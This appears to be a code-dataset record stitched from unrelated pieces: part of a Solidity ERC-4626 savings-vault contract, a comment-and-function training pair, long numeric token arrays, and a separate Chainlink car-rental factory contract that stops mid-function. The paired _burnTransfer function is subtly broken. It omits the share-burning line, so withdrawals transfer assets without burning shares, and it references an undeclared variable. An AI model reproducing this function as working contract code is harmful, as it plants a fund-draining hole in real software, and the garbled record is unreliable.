uint256 currentTime = uint256(now);
uint256 timeSinceLastPoke = currentTime.sub(lastPoke);
require(_ignoreCadence || timeSinceLastPoke > POKE_CADENCE, "Not enough time elapsed");
lastPoke = currentTime;
// If there is a connector, check the balance and settle to the specified fraction %
IConnector connector_ = connector;
if (address(connector_) != address(0)) {
// 2. Check and verify new connector balance
uint256 lastBalance_ = lastBalance;
uint256 connectorBalance = connector_.checkBalance();
// Always expect the collateral in the connector to increase in value
require(connectorBalance >= lastBalance_, "Invalid yield");
if (connectorBalance > 0) {
// Validate the collection by ensuring that the APY is not ridiculous
_validateCollection(
connectorBalance,
connectorBalance.sub(lastBalance_),
timeSinceLastPoke
);
}
// 3. Level the assets to Fraction (connector) & 100-fraction (raw)
uint256 sum = _data.rawBalance.add(connectorBalance);
uint256 ideal = sum.mulTruncate(_data.fraction);
// If there is not enough mAsset in the connector, then deposit
if (ideal > connectorBalance) {
uint256 deposit = ideal.sub(connectorBalance);
underlying.approve(address(connector_), deposit);
connector_.deposit(deposit);
}
// Else withdraw, if there is too much mAsset in the connector
else if (connectorBalance > ideal) {
// If fraction == 0, then withdraw everything
if (ideal == 0) {
connector_.withdrawAll();
sum = IERC20(underlying).balanceOf(address(this));
} else {
connector_.withdraw(connectorBalance.sub(ideal));
}
}
// Else ideal == connectorBalance (e.g. 0), do nothing
require(connector_.checkBalance() >= ideal, "Enforce system invariant");
// 4i. Refresh exchange rate and emit event
lastBalance = ideal;
_refreshExchangeRate(sum, _data.totalCredits, false);
emit Poked(lastBalance_, ideal, connectorBalance.sub(lastBalance_));
} else {
// 4ii. Refresh exchange rate and emit event
lastBalance = 0;
_refreshExchangeRate(_data.rawBalance, _data.totalCredits, false);
emit PokedRaw();
}
}
/**
* @dev Internal fn to refresh the exchange rate, based on the sum of collateral and the number of credits
* @param _realSum Sum of collateral held by the contract
* @param _totalCredits Total number of credits in the system
* @param _ignoreValidation This is for use in the emergency situation, and ignores a decreasing exchangeRate
*/
function _refreshExchangeRate(
uint256 _realSum,
uint256 _totalCredits,
bool _ignoreValidation
) internal {
// Based on the current exchange rate, how much underlying is collateralised?
(uint256 totalCredited, ) = _creditsToUnderlying(_totalCredits);
// Require the amount of capital held to be greater than the previously credited units
require(_ignoreValidation || _realSum >= totalCredited, "ExchangeRate must increase");
// Work out the new exchange rate based on the current capital
uint256 newExchangeRate = _calcExchangeRate(_realSum, _totalCredits);
exchangeRate = newExchangeRate;
emit ExchangeRateUpdated(
newExchangeRate,
_realSum > totalCredited ? _realSum.sub(totalCredited) : 0
);
}
/**
* FORKED DIRECTLY FROM SAVINGSMANAGER.sol
* ---------------------------------------
* @dev Validates that an interest collection does not exceed a maximum APY. If last collection
* was under 30 mins ago, simply check it does not exceed 10bps
* @param _newBalance New balance of the underlying
* @param _interest Increase in total supply since last collection
* @param _timeSinceLastCollection Seconds since last collection
*/
function _validateCollection(
uint256 _newBalance,
uint256 _interest,
uint256 _timeSinceLastCollection
) internal pure returns (uint256 extrapolatedAPY) {
// Protect against division by 0
uint256 protectedTime = StableMath.max(1, _timeSinceLastCollection);
uint256 oldSupply = _newBalance.sub(_interest);
uint256 percentageIncrease = _interest.divPrecisely(oldSupply);
uint256 yearsSinceLastCollection = protectedTime.divPrecisely(SECONDS_IN_YEAR);
extrapolatedAPY = percentageIncrease.divPrecisely(yearsSinceLastCollection);
if (protectedTime > 30 minutes) {
require(extrapolatedAPY < MAX_APY, "Interest protected from inflating past maxAPY");
} else {
require(percentageIncrease < 1e15, "Interest protected from inflating past 10 Bps");
}
}
/***************************************
VIEW - I
****************************************/
struct CachedData {
// SLOAD from 'fraction'
uint256 fraction;
// ERC20 balance of underlying, held by this contract
// underlying.balanceOf(address(this))
uint256 rawBalance;
// totalSupply()
uint256 totalCredits;
}
/**
* @dev Retrieves generic data to avoid duplicate SLOADs
*/
function _cacheData() internal view returns (CachedData memory) {
uint256 balance = underlying.balanceOf(address(this));
return CachedData(fraction, balance, totalSupply());
}
/**
* @dev Converts masset amount into credits based on exchange rate
* c = (masset / exchangeRate) + 1
*/
function _underlyingToCredits(uint256 _underlying)
internal
view
returns (uint256 credits, uint256 exchangeRate_)
{
// e.g. (1e20 * 1e18) / 1e18 = 1e20
// e.g. (1e20 * 1e18) / 14e17 = 7.1429e19
// e.g. 1 * 1e18 / 1e17 + 1 = 11 => 11 * 1e17 / 1e18 = 1.1e18 / 1e18 = 1
exchangeRate_ = exchangeRate;
credits = _underlying.divPrecisely(exchangeRate_).add(1);
}
/**
* @dev Works out a new exchange rate, given an amount of collateral and total credits
* e = underlying / (credits-1)
*/
function _calcExchangeRate(uint256 _totalCollateral, uint256 _totalCredits)
internal
pure
returns (uint256 _exchangeRate)
{
_exchangeRate = _totalCollateral.divPrecisely(_totalCredits.sub(1));
}
/**
* @dev Converts credit amount into masset based on exchange rate
* m = credits * exchangeRate
*/
function _creditsToUnderlying(uint256 _credits)
internal
view
returns (uint256 underlyingAmount, uint256 exchangeRate_)
{
// e.g. (1e20 * 1e18) / 1e18 = 1e20
// e.g. (1e20 * 14e17) / 1e18 = 1.4e20
exchangeRate_ = exchangeRate;
underlyingAmount = _credits.mulTruncate(exchangeRate_);
}
/*///////////////////////////////////////////////////////////////
IERC4626Vault
//////////////////////////////////////////////////////////////*/
/**
* @notice it must be an ERC-20 token contract. Must not revert.
*
* @return assetTokenAddress the address of the underlying asset token. eg mUSD or mBTC
*/
function asset() external view returns (address assetTokenAddress) {
return address(underlying);
}
/**
* @return totalManagedAssets the total amount of the underlying asset tokens that is “managed” by Vault.
*/
function totalAssets() external view returns (uint256 totalManagedAssets) {
return underlying.balanceOf(address(this));
}
/**
* @notice The amount of shares that the Vault would exchange for the amount of assets provided, in an ideal scenario where all the conditions are met.
* @param assets The amount of underlying assets to be convert to vault shares.
* @return shares The amount of vault shares converted from the underlying assets.
*/
function convertToShares(uint256 assets) external view returns (uint256 shares) {
(shares, ) = _underlyingToCredits(assets);
}
/**
* @notice The amount of assets that the Vault would exchange for the amount of shares provided, in an ideal scenario where all the conditions are met.
* @param shares The amount of vault shares to be converted to the underlying assets.
* @return assets The amount of underlying assets converted from the vault shares.
*/
function convertToAssets(uint256 shares) external view returns (uint256 assets) {
(assets, ) = _creditsToUnderlying(shares);
}
/**
* @notice The maximum number of underlying assets that caller can deposit.
* caller Account that the assets will be transferred from.
* @return maxAssets The maximum amount of underlying assets the caller can deposit.
*/
function maxDeposit(
address /** caller **/
) external view returns (uint256 maxAssets) {
maxAssets = MAX_INT256;
}
/**
* @notice Allows an on-chain or off-chain user to simulate the effects of their deposit at the current block, given current on-chain conditions.
* @param assets The amount of underlying assets to be transferred.
* @return shares The amount of vault shares that will be minted.
*/
function previewDeposit(uint256 assets) external view returns (uint256 shares) {
require(assets > 0, "Must deposit something");
(shares, ) = _underlyingToCredits(assets);
}
/**
* @notice Mint vault shares to receiver by transferring exact amount of underlying asset tokens from the caller.
* Credit amount is calculated as a ratio of deposit amount and exchange rate:
* credits = underlying / exchangeRate
* We will first update the internal exchange rate by collecting any interest generated on the underlying.
* Emits a {Deposit} event.
* @param assets Units of underlying to deposit into savings vault. eg mUSD or mBTC
* @param receiver The address to receive the Vault shares.
* @return shares Units of credits issued. eg imUSD or imBTC
*/
function deposit(uint256 assets, address receiver) external returns (uint256 shares) {
shares = _transferAndMint(assets, receiver, true);
}
/**
*
* @notice Overloaded `deposit` method with an optional referrer address.
* @param assets Units of underlying to deposit into savings vault. eg mUSD or mBTC
* @param receiver Address to the new credits will be issued to.
* @param referrer Referrer address for this deposit.
* @return shares Units of credits issued. eg imUSD or imBTC
*/
function deposit(
uint256 assets,
address receiver,
address referrer
) external returns (uint256 shares) {
shares = _transferAndMint(assets, receiver, true);
emit Referral(referrer, receiver, assets);
}
/**
* @notice The maximum number of vault shares that caller can mint.
* caller Account that the underlying assets will be transferred from.
* @return maxShares The maximum amount of vault shares the caller can mint.
*/
function maxMint(
address /* caller */
) external view returns (uint256 maxShares) {
maxShares = MAX_INT256;
}
/**
* @notice Allows an on-chain or off-chain user to simulate the effects of their mint at the current block, given current on-chain conditions.
* @param shares The amount of vault shares to be minted.
* @return assets The amount of underlying assests that will be transferred from the caller.
*/
function previewMint(uint256 shares) external view returns (uint256 assets) {
(assets, ) = _creditsToUnderlying(shares);
return assets;
}
/**
* @notice Mint exact amount of vault shares to the receiver by transferring enough underlying asset tokens from the caller.
* Emits a {Deposit} event.
*
* @param shares The amount of vault shares to be minted.
* @param receiver The account the vault shares will be minted to.
* @return assets The amount of underlying assets that were transferred from the caller.
*/
function mint(uint256 shares, address receiver) external returns (uint256 assets) {
(assets, ) = _creditsToUnderlying(shares);
_transferAndMint(assets, receiver, true);
}
/**
* @notice Mint exact amount of vault shares to the receiver by transferring enough underlying asset tokens from the caller.
* @param shares The amount of vault shares to be minted.
* @param receiver The account the vault shares will be minted to.
* @param referrer Referrer address for this deposit.
* @return assets The amount of underlying assets that were transferred from the caller.
* Emits a {Deposit}, {Referral} events
*/
function mint(
uint256 shares,
address receiver,
address referrer
) external returns (uint256 assets) {
(assets, ) = _creditsToUnderlying(shares);
_transferAndMint(assets, receiver, true);
emit Referral(referrer, receiver, assets);
}
/**
* @notice The maximum number of underlying assets that owner can withdraw.
* @param owner Address that owns the underlying assets.
* @return maxAssets The maximum amount of underlying assets the owner can withdraw.
*/
function maxWithdraw(address owner) external view returns (uint256 maxAssets) {
(maxAssets, ) = _creditsToUnderlying(balanceOf(owner));
}
/**
* @notice Allows an on-chain or off-chain user to simulate the effects of their withdrawal at the current block, given current on-chain conditions.
* @param assets The amount of underlying assets to be withdrawn.
* @return shares The amount of vault shares that will be burnt.
*/
function previewWithdraw(uint256 assets) external view returns (uint256 shares) {
(shares, ) = _underlyingToCredits(assets);
}
/**
* @notice Burns enough vault shares from owner and transfers the exact amount of underlying asset tokens to the receiver.
* Emits a {Withdraw} event.
*
* @param assets The amount of underlying assets to be withdrawn from the vault.
* @param receiver The account that the underlying assets will be transferred to.
* @param owner Account that owns the vault shares to be burnt.
* @return shares The amount of vault shares that were burnt.
*/
function withdraw(
uint256 assets,
address receiver,
address owner
) external returns (uint256 shares) {
require(assets > 0, "Must withdraw something");
uint256 _exchangeRate;
if (automateInterestCollection) {
ISavingsManager(_savingsManager()).collectAndDistributeInterest(address(underlying));
}
(shares, _exchangeRate) = _underlyingToCredits(assets);
_burnTransfer(assets, shares, receiver, owner, _exchangeRate, true);
}
/**
* @notice it must return a limited value if owner is subject to some withdrawal limit or timelock. must return balanceOf(owner) if owner is not subject to any withdrawal limit or timelock. MAY be used in the previewRedeem or redeem methods for shares input parameter. must NOT revert.
*
* @param owner Address that owns the shares.
* @return maxShares Total number of shares that owner can redeem.
*/
function maxRedeem(address owner) external view returns (uint256 maxShares) {
maxShares = balanceOf(owner);
}
/**
* @notice Allows an on-chain or off-chain user to simulate the effects of their redeemption at the current block, given current on-chain conditions.
*
* @return assets the exact amount of underlying assets that would be withdrawn by the caller if redeeming a given exact amount of Vault shares using the redeem method
*/
function previewRedeem(uint256 shares) external view returns (uint256 assets) {
(assets, ) = _creditsToUnderlying(shares);
return assets;
}
/**
* @notice Burns exact amount of vault shares from owner and transfers the underlying asset tokens to the receiver.
* Emits a {Withdraw} event.
*
* @param shares The amount of vault shares to be burnt.
* @param receiver The account the underlying assets will be transferred to.
* @param owner The account that owns the vault shares to be burnt.
* @return assets The amount of underlying assets that were transferred to the receiver.
*/
function redeem(
uint256 shares,
address receiver,
address owner
) external returns (uint256 assets) {
require(shares > 0, "Must withdraw something");
uint256 _exchangeRate;
if (automateInterestCollection) {
ISavingsManager(_savingsManager()).collectAndDistributeInterest(address(underlying));
}
(assets, _exchangeRate) = _creditsToUnderlying(shares);
_burnTransfer(assets, shares, receiver, owner, _exchangeRate, true); //transferAssets=true
}
/*///////////////////////////////////////////////////////////////
INTERNAL DEPOSIT/MINT
//////////////////////////////////////////////////////////////*/
function _transferAndMint(
uint256 assets,
address receiver,
bool _collectInterest
) internal returns (uint256 shares) {
require(assets > 0, "Must deposit something");
require(receiver != address(0), "Invalid beneficiary address");
// Collect recent interest generated by basket and update exchange rate
IERC20 mAsset = underlying;
if (_collectInterest) {
ISavingsManager(_savingsManager()).collectAndDistributeInterest(address(mAsset));
}
// Transfer tokens from sender to here
require(mAsset.transferFrom(msg.sender, address(this), assets), "Must receive tokens");
// Calc how many credits they receive based on currentRatio
(shares, ) = _underlyingToCredits(assets);
// add credits to ERC20 balances
_mint(receiver, shares);
emit Deposit(msg.sender, receiver, assets, shares);
emit SavingsDeposited(receiver, assets, shares);
}
/*///////////////////////////////////////////////////////////////
INTERNAL WITHDRAW/REDEEM
//////////////////////////////////////////////////////////////*/
function _burnTransfer(
uint256 assets,
uint256 shares,
address receiver,
address owner,
uint256 _exchangeRate,
bool transferAssets
) internal {
require(receiver != address(0), "Invalid beneficiary address");
// If caller is not the owner of the shares
uint256 allowed = allowance(owner, msg.sender);
if (msg.sender != owner && allowed != MAX_INT256) {
require(shares <= allowed, "Amount exceeds allowance");
_approve(owner, msg.sender, allowed - shares);
}
// Burn required shares from the owner FIRST
_burn(owner, shares);
// Optionally, transfer tokens from here to receiver
if (transferAssets) {
require(underlying.transfer(receiver, assets), "Must send tokens");
emit Withdraw(msg.sender, receiver, owner, assets, shares);
}
// If this withdrawal pushes the portion of stored collateral in the `connector` over a certain
// threshold (fraction + 20%), then this should trigger a _poke on the connector. This is to avoid
// a situation in which there is a rush on withdrawals for some reason, causing the connector
// balance to go up and thus having too large an exposure.
CachedData memory cachedData = _cacheData();
ConnectorStatus memory status = _getConnectorStatus(cachedData, _exchangeRate);
if (status.inConnector > status.limit) {
_poke(cachedData, false);
}
}
} | If caller is not the owner of the shares Optionally, transfer tokens from here to receiver | function _burnTransfer(
uint256 assets,
uint256 shares,
address receiver,
address owner,
uint256 _exchangeRate,
bool transferAssets
) internal {
require(receiver != address(0), "Invalid beneficiary address");
uint256 allowed = allowance(owner, msg.sender);
if (msg.sender != owner && allowed != MAX_INT256) {
require(shares <= allowed, "Amount exceeds allowance");
_approve(owner, msg.sender, allowed - shares);
}
if (transferAssets) {
require(underlying.transfer(receiver, assets), "Must send tokens");
emit Withdraw(msg.sender, receiver, owner, assets, shares);
}
ConnectorStatus memory status = _getConnectorStatus(cachedData, _exchangeRate);
if (status.inConnector > status.limit) {
_poke(cachedData, false);
}
}
| 2,367,713 | [
1,
2047,
4894,
353,
486,
326,
3410,
434,
326,
24123,
20720,
16,
7412,
2430,
628,
2674,
358,
5971,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
70,
321,
5912,
12,
203,
3639,
2254,
5034,
7176,
16,
203,
3639,
2254,
5034,
24123,
16,
203,
3639,
1758,
5971,
16,
203,
3639,
1758,
3410,
16,
203,
3639,
2254,
5034,
389,
16641,
4727,
16,
203,
3639,
1426,
7412,
10726,
203,
565,
262,
2713,
288,
203,
3639,
2583,
12,
24454,
480,
1758,
12,
20,
3631,
315,
1941,
27641,
74,
14463,
814,
1758,
8863,
203,
203,
3639,
2254,
5034,
2935,
273,
1699,
1359,
12,
8443,
16,
1234,
18,
15330,
1769,
203,
3639,
309,
261,
3576,
18,
15330,
480,
3410,
597,
2935,
480,
4552,
67,
3217,
5034,
13,
288,
203,
5411,
2583,
12,
30720,
1648,
2935,
16,
315,
6275,
14399,
1699,
1359,
8863,
203,
5411,
389,
12908,
537,
12,
8443,
16,
1234,
18,
15330,
16,
2935,
300,
24123,
1769,
203,
3639,
289,
203,
203,
203,
3639,
309,
261,
13866,
10726,
13,
288,
203,
5411,
2583,
12,
9341,
6291,
18,
13866,
12,
24454,
16,
7176,
3631,
315,
10136,
1366,
2430,
8863,
203,
5411,
3626,
3423,
9446,
12,
3576,
18,
15330,
16,
5971,
16,
3410,
16,
7176,
16,
24123,
1769,
203,
3639,
289,
203,
3639,
15779,
1482,
3778,
1267,
273,
389,
588,
7487,
1482,
12,
7097,
751,
16,
389,
16641,
4727,
1769,
203,
3639,
309,
261,
2327,
18,
267,
7487,
405,
1267,
18,
3595,
13,
288,
203,
5411,
389,
84,
3056,
12,
7097,
751,
16,
629,
1769,
203,
3639,
289,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.4.24;
pragma experimental ABIEncoderV2;
//Truffle Imports
import "@chainlink/contracts/src/v0.4/ChainlinkClient.sol";
import "@chainlink/contracts/src/v0.4/vendor/Ownable.sol";
import "@chainlink/contracts/src/v0.4/interfaces/LinkTokenInterface.sol";
import "@chainlink/contracts/src/v0.4/interfaces/AggregatorV3Interface.sol";
import "./strings.sol";
//Remix Imports
//import "https://github.com/smartcontractkit/chainlink/blob/develop/evm-contracts/src/v0.4/ChainlinkClient.sol";
//import "https://github.com/smartcontractkit/chainlink/blob/develop/evm-contracts/src/v0.4/vendor/Ownable.sol";
//import "https://github.com/smartcontractkit/chainlink/blob/develop/evm-contracts/src/v0.4/interfaces/LinkTokenInterface.sol";
//import "https://github.com/smartcontractkit/chainlink/blob/master/evm-contracts/src/v0.4/interfaces/AggregatorV3Interface.sol";
//import "github.com/Arachnid/solidity-stringutils/strings.sol";
contract RentalAgreementFactory {
using SafeMath_Chainlink for uint;
address private dappWallet = msg.sender;
enum RentalAgreementStatus {PROPOSED, APPROVED, REJECTED, ACTIVE, COMPLETED, ENDED_ERROR}
bytes32 JOB_ID = "534ea675a9524e8e834585b00368b178";
address private constant LINK_KOVAN = 0xa36085F69e2889c224210F603D836748e7dC0088;
address private constant ORACLE_CONTRACT = 0x05c8fadf1798437c143683e665800d58a42b6e19;
address private constant NODE_ADDRESS = 0xDC92b2B1C731d07dC9bd8D30D0B1A69F266f2A8A;
uint256 constant private ORACLE_PAYMENT = 0.1 * 1 ether;
address private constant ETH_USD_CONTRACT = 0x9326BFA02ADD2366b30bacB125260Af641031331;
address private constant AUD_USD_CONTRACT = 0x5813A90f826e16dB392abd2aF7966313fc1fd5B8;
address private constant GBP_USD_CONTRACT = 0x28b0061f44E6A9780224AA61BEc8C3Fcb0d37de9;
enum VehicleModels { Model_S, Model_3, Model_X, Model_Y, Cybertruck, Roadster}
enum VehicleStatus {PENDING, APPROVED}
enum Currency { ETH, USD, GBP, AUD }
struct Vehicle {
uint vehicleId;
address ownerAddress;
uint baseHireFee;
uint bondRequired;
Currency ownerCurrency;
VehicleModels vehicleModel;
string vehiclePlate;
int vehicleLongitude;
int vehicleLatitude;
VehicleStatus status;
}
address[] internal keyList;
AggregatorV3Interface internal ethUsdPriceFeed;
AggregatorV3Interface internal audUsdPriceFeed;
AggregatorV3Interface internal gbpUsdPriceFeed;
mapping (address => Vehicle) vehicles;
RentalAgreement[] rentalAgreements;
constructor() public payable {
//newVehicle(0x54a47c5e6a6CEc35eEB23E24C6b3659eE205eE35,123, 0.001 ether,0.01 ether,Currency.ETH,VehicleModels.Model_S,'REVOLT',-35008518,138575206);
//newVehicle(0x20442A67128F4a2d9eb123e353893c8f05429AcB,567, 0.01 * 0.01 ether,0.01 ether,Currency.ETH,VehicleModels.Model_X,'LINKCAR',-35028518,138525206);
//approveVehicle(0x54a47c5e6a6CEc35eEB23E24C6b3659eE205eE35);
ethUsdPriceFeed = AggregatorV3Interface(ETH_USD_CONTRACT);
audUsdPriceFeed = AggregatorV3Interface(AUD_USD_CONTRACT);
gbpUsdPriceFeed = AggregatorV3Interface(GBP_USD_CONTRACT);
}
modifier onlyOwner() {
require(dappWallet == msg.sender,'Only Insurance provider can do this');
_;
}
modifier onlyNode() {
require(NODE_ADDRESS == msg.sender,'Only Node can call this function');
_;
}
event rentalAgreementCreated(address _newAgreement, uint _totalFundsHeld);
event vehicleAdded( uint _vehicleId, address _vehicleOwner, uint _baseHireFee, uint _bondRequired, Currency _ownerCurrency, VehicleModels _vehicleModel, string _vehiclePlate, int _vehicleLongitude, int _vehicleLatitude);
function getLatestEthUsdPrice() public view returns (int) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = ethUsdPriceFeed.latestRoundData();
// If the round is not complete yet, timestamp is 0
require(timeStamp > 0, "Round not complete");
return price;
}
function getLatestAudUsdPrice() public view returns (int) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = audUsdPriceFeed.latestRoundData();
// If the round is not complete yet, timestamp is 0
require(timeStamp > 0, "Round not complete");
return price;
}
function getLatestGbpUsdPrice() public view returns (int) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = gbpUsdPriceFeed.latestRoundData();
// If the round is not complete yet, timestamp is 0
require(timeStamp > 0, "Round not complete");
return price;
}
function convertEthToFiat(uint _value, Currency _toCurrency) public view returns (uint) {
if (_toCurrency == Currency.ETH) {
return _value;
}
int ethUsdPrice = getLatestEthUsdPrice();
uint inUsd = (_value * uint(ethUsdPrice)) / 1 ether;
if (_toCurrency == Currency.USD) {
return inUsd;
}
else if (_toCurrency == Currency.GBP) {
int gbpUsdPrice = getLatestGbpUsdPrice();
return inUsd * (10 ** 8) / uint(gbpUsdPrice);
}
else if (_toCurrency == Currency.AUD) {
int audUsdPrice = getLatestAudUsdPrice();
return inUsd * (10 ** 8) / uint(audUsdPrice);
}
return _value;
}
function convertFiatToEth(uint _value, Currency _fromCurrency) public view returns (uint) {
if (_fromCurrency == Currency.ETH) {
return _value;
}
int ethUsdPrice = getLatestEthUsdPrice();
uint fromUsd = (_value * 1 ether / uint(ethUsdPrice));
if (_fromCurrency == Currency.USD) {
return fromUsd;
}
else if (_fromCurrency == Currency.GBP) {
int gbpUsdPrice = getLatestGbpUsdPrice();
return fromUsd * uint(gbpUsdPrice) / (10 ** 8);
}
else if (_fromCurrency == Currency.AUD) {
int audUsdPrice = getLatestAudUsdPrice();
return fromUsd * uint(audUsdPrice) / (10 ** 8);
}
return _value;
}
/**
* @dev Create a new Rental Agreement. Once it's created, all logic & flow is handled from within the RentalAgreement Contract
*/
function newRentalAgreement(address _vehicleOwner, address _renter, uint _startDateTime, uint _endDateTime) public payable returns(address) {
//vehicle owner must be different to renter
require (_vehicleOwner != _renter,'Owner & Renter must be different');
//start date must be < end date and must be at least 1 hour (3600 seconds)
require (_endDateTime >= _startDateTime.add(3600),'Vehicle Agreement must be for a minimum of 1 hour');
//specify agreement must be for a discrete number of hours to keep it simple
require((_endDateTime - _startDateTime) % 3600 == 0,'Vehicle Agreement must be for a discrete number of hours');
//vehicle to be rented must be in APPROVED status
require (vehicles[_vehicleOwner].status == VehicleStatus.APPROVED,'Vehicle is not approved');
//ensure start date is now or in the future
//require (_startDateTime >= now,'Vehicle Agreement cannot be in the past');
// Ensure correct amount of ETH has been sent for total rent cost & bond
uint convertedMsgValue = convertEthToFiat(msg.value, vehicles[_vehicleOwner].ownerCurrency);
uint totalRentCost = vehicles[_vehicleOwner].baseHireFee * ((_endDateTime - _startDateTime) / 3600);
uint bondRequired = vehicles[_vehicleOwner].bondRequired;
//add 1% tolerance to account for rounding & fluctuations in case a round just ended in price feed
require (convertedMsgValue.add(convertedMsgValue.div(100)) >= totalRentCost.add(bondRequired),'Insufficient rent & bond paid');
// Now that we've determined the ETH passed in is correct, we need to calculate bond + fee values in ETH to send to contract
uint bondRequiredETH = convertFiatToEth(bondRequired, vehicles[_vehicleOwner].ownerCurrency);
// Fee value is total value minus bond. We've already validated enough ETH has been sent
uint totalRentCostETH = msg.value - bondRequiredETH;
//create new Rental Agreement
RentalAgreement a = (new RentalAgreement).value(totalRentCostETH.add(bondRequiredETH))(_vehicleOwner, _renter, _startDateTime, _endDateTime, totalRentCostETH, bondRequiredETH,LINK_KOVAN, ORACLE_CONTRACT, ORACLE_PAYMENT, JOB_ID);
//store new agreement in array of agreements
rentalAgreements.push(a);
emit rentalAgreementCreated(address(a), msg.value);
//now that contract has been created, we need to fund it with enough LINK tokens to fulfil 1 Oracle request per day
LinkTokenInterface link = LinkTokenInterface(a.getChainlinkToken());
link.transfer(address(a), 1 ether);
return address(a);
}
/**
* @dev Create a new Vehicle.
*/
function newVehicle(address _vehicleOwner, uint _vehicleId, uint _baseHireFee, uint _bondRequired, Currency _ownerCurrency, VehicleModels _vehicleModel,
string _vehiclePlate, int _vehicleLongitude, int _vehicleLatitude) public {
//adds a vehicle and stores it in the vehicles mapping. Each vehicle is represented by 1 Ethereum address
var v = vehicles[_vehicleOwner];
v.vehicleId = _vehicleId;
v.ownerAddress = _vehicleOwner;
v.baseHireFee = _baseHireFee;
v.bondRequired = _bondRequired;
v.ownerCurrency = _ownerCurrency;
v.vehicleModel = _vehicleModel;
v.vehiclePlate = _vehiclePlate;
v.vehicleLongitude = _vehicleLongitude;
v.vehicleLatitude = _vehicleLatitude;
v.status = VehicleStatus.PENDING;
emit vehicleAdded(_vehicleId, _vehicleOwner, _baseHireFee, _bondRequired, _ownerCurrency, _vehicleModel, _vehiclePlate, _vehicleLongitude, _vehicleLatitude);
}
/**
* @dev Approves a vehicle for use in the app. Only a Chainlink node can call this, as it knows if the test to the tesla servers was
* successful or not
*/
function approveVehicle(address _walletOwner) public onlyNode() {
vehicles[_walletOwner].status = VehicleStatus.APPROVED;
//store the key in an array where we can loop through. At this point the vehicle will be returned in searched
keyList.push(_walletOwner);
}
/**
* @dev Return a particular Vehicle struct based on a wallet address
*/
function getVehicle(address _walletOwner) external view returns (Vehicle) {
return vehicles[_walletOwner];
}
/**
* @dev Return all rental contract addresses
*/
function getRentalContracts() external view returns (RentalAgreement[] ) {
return rentalAgreements;
}
/**
* @dev Return a particular Rental Contract based on a rental contract address
*/
function getRentalContract(address _rentalContract) external view returns (address,address,uint,uint,uint,uint,RentalAgreementStatus ) {
//loop through list of contracts, and find any belonging to the address
for (uint i = 0; i < rentalAgreements.length; i++) {
if (address(rentalAgreements[i]) == _rentalContract) {
return rentalAgreements[i].getAgreementDetails();
}
}
}
/**
* @dev Return a list of rental contract addresses belonging to a particular vehicle owner or renter
* ownerRenter = 0 means vehicle owner, 1 = vehicle renter
*/
function getRentalContracts(uint _owner, address _address) external view returns (address[] ) {
//loop through list of contracts, and find any belonging to the address & type (renter or vehicle owner)
//_owner variable determines if were searching for agreements for the owner or renter
//0 = renter & 1 = owner
uint finalResultCount = 0;
//because we need to know exact size of final memory array, first we need to iterate and count how many will be in the final result
for (uint i = 0; i < rentalAgreements.length; i++) {
if (_owner == 1) { //owner scenario
if (rentalAgreements[i].getVehicleOwner() == _address) {
finalResultCount = finalResultCount + 1;
}
} else { //renter scenario
if (rentalAgreements[i].getVehicleRenter() == _address) {
finalResultCount = finalResultCount + 1;
}
}
}
//now we have the total count, we can create a memory array with the right size and then populate it
address[] memory addresses = new address[](finalResultCount);
uint addrCountInserted = 0;
for (uint j = 0; j < rentalAgreements.length; j++) {
if (_owner == 1) { //owner scenario
if (rentalAgreements[j].getVehicleOwner() == _address) {
addresses[addrCountInserted] = address(rentalAgreements[j]);
addrCountInserted = addrCountInserted + 1;
}
} else { //renter scenario
if (rentalAgreements[j].getVehicleRenter() == _address) {
addresses[addrCountInserted] = address(rentalAgreements[j]);
addrCountInserted = addrCountInserted + 1;
}
}
}
return addresses;
}
/**
* @dev Function that takes a vehicle ID/address, start & end epochs and then searches through to see if
* vehicle is available during those dates or not
*/
function checkVehicleAvailable(address _vehicleAddress, uint _start, uint _end) public view returns (uint) {
//algorithm works as follows:
//vehicle needs to be in approved status otherwise return false
//loop through all rental agreemets
//for each agreement, check if its our vehicle
//if its our vehicle, check if agreement is approved or active (proposed & completed/error not included)
//and if its approved or active, check if overlap: overlap = param.start < contract.end && contract.start < param.end;
//if overlap, return 0
//else return 1
if (vehicles[_vehicleAddress].status == VehicleStatus.APPROVED) {
for (uint i = 0; i < rentalAgreements.length; i++) {
if (rentalAgreements[i].getVehicleOwner() == _vehicleAddress){
if (rentalAgreements[i].getAgreementStatus() == RentalAgreementFactory.RentalAgreementStatus.APPROVED ||
